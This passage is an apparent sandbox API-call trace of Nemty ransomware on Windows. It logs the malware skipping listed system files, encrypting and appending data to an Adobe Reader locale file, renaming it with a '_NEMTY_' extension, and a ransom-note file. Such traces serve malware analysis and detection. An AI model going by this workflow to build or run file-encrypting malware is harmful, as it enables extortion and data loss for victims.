hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.681] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0182.681] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0182.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0182.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0182.682] Sleep (dwMilliseconds=0x5) [0182.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2089cb50, dwHighDateTime=0x1d561e8)) [0182.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2089cb50, dwHighDateTime=0x1d561e8)) [0182.689] GetLastError () returned 0x0 [0182.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.689] GetLastError () returned 0x0 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0182.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0182.690] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0182.690] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="yQs/oH4t1TmwxN/cuEKo6qa74nUl1VfofqbE1Hh6fdZKlcKwQR6zEWpxlbaPN97s\r\nz3z0FN2w6wdUR14KVpCDADBCKrdXzIlnvfYEuSBq8VRKAGAaVe+dDkueY6vp41/5\r\nNtZGydANEW1KQyA++0/bY67rIPmlHeHhb4W699fqBEmUu5ywHAVUzzGCRmPhnbgm\r\nkARELgUoru7a3AfG/vG0+wZFCdqJwydeD8qfiz2LugDtuYn/lRlAKaJfYLsjqi74\r\nQ6adQV+siwmjOlxtMkIx3AnhE0bJmttYKz/kmCybwUXxlqDsUkdAoeBmWDGW7Oqw\r\n0pqRmlR7C2Icr7IZyy9KKg==\r\n", pcchString=0x653e29c) returned 1 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0182.690] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=231) returned 1 [0182.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0182.690] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.691] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0182.691] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.691] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0182.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.692] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7 [0182.692] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0182.692] CloseHandle (hObject=0x2f0) returned 1 [0182.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0182.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0182.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0182.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0182.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.692] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.693] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20850890, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x20850890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20850890, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0182.694] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0182.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0182.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.695] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20850890, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x20850890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20850890, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0182.695] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.695] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2=".") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="..") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="...") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="windows") returned -1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="rsa") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="NTDETECT.COM") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="ntldr") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="MSDOS.SYS") returned 1 [0182.695] lstrcmpiW (lpString1="Spelling.RUM", lpString2="IO.SYS") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="boot.ini") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="boot.ini") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="ntuser.dat") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="desktop.ini") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="CONFIG.SYS") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="RECYCLER") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="bootmgr") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="programdata") returned 1 [0182.696] lstrcmpiW (lpString1="Spelling.RUM", lpString2="appdata") returned 1 [0182.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 